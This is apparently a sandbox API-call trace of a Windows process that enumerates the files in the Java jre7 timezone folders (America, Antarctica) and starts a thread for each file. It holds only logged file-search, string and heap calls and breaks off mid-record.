FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Vincent", cAlternateFileName="ST_VIN~1")) returned 1 [0195.700] wcscmp (_String1="St_Vincent", _String2=".") returned 1 [0195.700] wcscmp (_String1="St_Vincent", _String2="..") returned 1 [0195.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0080 [0195.700] wcscpy (in: _Dest=0x8d0080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.700] wcscat (in: _Dest=0x8d0080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.700] wcscat (in: _Dest=0x8d0080, _Source="St_Vincent" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Vincent") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Vincent" [0195.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd2c [0195.701] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swift_Current", cAlternateFileName="SWIFT_~1")) returned 1 [0195.701] wcscmp (_String1="Swift_Current", _String2=".") returned 1 [0195.701] wcscmp (_String1="Swift_Current", _String2="..") returned 1 [0195.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9b4f18 [0195.701] wcscpy (in: _Dest=0x9b4f18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.701] wcscat (in: _Dest=0x9b4f18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.702] wcscat (in: _Dest=0x9b4f18, _Source="Swift_Current" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Swift_Current") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Swift_Current" [0195.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b4f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd30 [0195.703] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tegucigalpa", cAlternateFileName="TEGUCI~1")) returned 1 [0195.703] wcscmp (_String1="Tegucigalpa", _String2=".") returned 1 [0195.703] wcscmp (_String1="Tegucigalpa", _String2="..") returned 1 [0195.703] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8d0580 [0195.703] wcscpy (in: _Dest=0x8d0580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.703] wcscat (in: _Dest=0x8d0580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.703] wcscat (in: _Dest=0x8d0580, _Source="Tegucigalpa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tegucigalpa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tegucigalpa" [0195.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0 [0195.704] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thule", cAlternateFileName="")) returned 1 [0195.704] wcscmp (_String1="Thule", _String2=".") returned 1 [0195.704] wcscmp (_String1="Thule", _String2="..") returned 1 [0195.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8faa88 [0195.704] wcscpy (in: _Dest=0x8faa88, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.704] wcscat (in: _Dest=0x8faa88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.704] wcscat (in: _Dest=0x8faa88, _Source="Thule" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thule") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thule" [0195.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8faa88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0195.710] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thunder_Bay", cAlternateFileName="THUNDE~1")) returned 1 [0195.710] wcscmp (_String1="Thunder_Bay", _String2=".") returned 1 [0195.710] wcscmp (_String1="Thunder_Bay", _String2="..") returned 1 [0195.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x935ca0 [0195.710] wcscpy (in: _Dest=0x935ca0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.710] wcscat (in: _Dest=0x935ca0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.710] wcscat (in: _Dest=0x935ca0, _Source="Thunder_Bay" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thunder_Bay") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thunder_Bay" [0195.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0195.711] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tijuana", cAlternateFileName="")) returned 1 [0195.711] wcscmp (_String1="Tijuana", _String2=".") returned 1 [0195.711] wcscmp (_String1="Tijuana", _String2="..") returned 1 [0195.711] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fb028 [0195.711] wcscpy (in: _Dest=0x8fb028, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.711] wcscat (in: _Dest=0x8fb028, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.711] wcscat (in: _Dest=0x8fb028, _Source="Tijuana" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tijuana") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tijuana" [0195.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0195.712] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="Toronto", cAlternateFileName="")) returned 1 [0195.712] wcscmp (_String1="Toronto", _String2=".") returned 1 [0195.712] wcscmp (_String1="Toronto", _String2="..") returned 1 [0195.712] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fab00 [0195.712] wcscpy (in: _Dest=0x8fab00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.713] wcscat (in: _Dest=0x8fab00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.713] wcscat (in: _Dest=0x8fab00, _Source="Toronto" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Toronto") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Toronto" [0195.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fab00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0195.714] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tortola", cAlternateFileName="")) returned 1 [0195.714] wcscmp (_String1="Tortola", _String2=".") returned 1 [0195.714] wcscmp (_String1="Tortola", _String2="..") returned 1 [0195.714] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8faf38 [0195.714] wcscpy (in: _Dest=0x8faf38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.714] wcscat (in: _Dest=0x8faf38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.714] wcscat (in: _Dest=0x8faf38, _Source="Tortola" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tortola") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Tortola" [0195.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8faf38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd3c [0195.715] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vancouver", cAlternateFileName="VANCOU~1")) returned 1 [0195.715] wcscmp (_String1="Vancouver", _String2=".") returned 1 [0195.715] wcscmp (_String1="Vancouver", _String2="..") returned 1 [0195.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x935d20 [0195.715] wcscpy (in: _Dest=0x935d20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.715] wcscat (in: _Dest=0x935d20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.715] wcscat (in: _Dest=0x935d20, _Source="Vancouver" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Vancouver") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Vancouver" [0195.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258 [0195.716] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whitehorse", cAlternateFileName="WHITEH~1")) returned 1 [0195.717] wcscmp (_String1="Whitehorse", _String2=".") returned 1 [0195.717] wcscmp (_String1="Whitehorse", _String2="..") returned 1 [0195.717] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x935da0 [0195.717] wcscpy (in: _Dest=0x935da0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.717] wcscat (in: _Dest=0x935da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.717] wcscat (in: _Dest=0x935da0, _Source="Whitehorse" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Whitehorse") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Whitehorse" [0195.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0195.718] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winnipeg", cAlternateFileName="")) returned 1 [0195.718] wcscmp (_String1="Winnipeg", _String2=".") returned 1 [0195.718] wcscmp (_String1="Winnipeg", _String2="..") returned 1 [0195.718] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x935e20 [0195.718] wcscpy (in: _Dest=0x935e20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.718] wcscat (in: _Dest=0x935e20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.718] wcscat (in: _Dest=0x935e20, _Source="Winnipeg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Winnipeg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Winnipeg" [0195.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0195.719] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutat", cAlternateFileName="")) returned 1 [0195.719] wcscmp (_String1="Yakutat", _String2=".") returned 1 [0195.719] wcscmp (_String1="Yakutat", _String2="..") returned 1 [0195.719] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8fae48 [0195.719] wcscpy (in: _Dest=0x8fae48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.719] wcscat (in: _Dest=0x8fae48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.719] wcscat (in: _Dest=0x8fae48, _Source="Yakutat" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yakutat") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yakutat" [0195.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fae48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0195.720] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="YELLOW~1")) returned 1 [0195.720] wcscmp (_String1="Yellowknife", _String2=".") returned 1 [0195.720] wcscmp (_String1="Yellowknife", _String2="..") returned 1 [0195.720] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x935ea0 [0195.720] wcscpy (in: _Dest=0x935ea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.720] wcscat (in: _Dest=0x935ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.721] wcscat (in: _Dest=0x935ea0, _Source="Yellowknife" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yellowknife") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Yellowknife" [0195.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x935ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708 [0196.568] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellowknife", cAlternateFileName="YELLOW~1")) returned 0 [0198.210] FindClose (in: hFindFile=0x8da510 | out: hFindFile=0x8da510) returned 1 [0198.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92d0a8) returned 1 [0198.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1758) returned 1 [0198.210] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f230) returned 1 Thread: id = 5287 os_tid = 0xed4 [0164.236] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93ca58 [0164.236] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0164.236] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0164.236] wcscat (in: _Dest=0x93ca58, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*" [0164.236] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92cbd8 [0164.236] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\*", lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9d50 [0170.433] wcscmp (_String1=".", _String2=".") returned 0 [0170.434] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.434] wcscmp (_String1="..", _String2=".") returned 1 [0170.434] wcscmp (_String1="..", _String2="..") returned 0 [0170.434] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casey", cAlternateFileName="")) returned 1 [0170.434] wcscmp (_String1="Casey", _String2=".") returned 1 [0170.434] wcscmp (_String1="Casey", _String2="..") returned 1 [0170.434] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0b00 [0170.434] wcscpy (in: _Dest=0x8d0b00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica" [0170.434] wcscat (in: _Dest=0x8d0b00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\" [0170.434] wcscat (in: _Dest=0x8d0b00, _Source="Casey" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Casey" [0171.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c [0171.346] FindNextFileW (in: hFindFile=0x8d9d50, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, 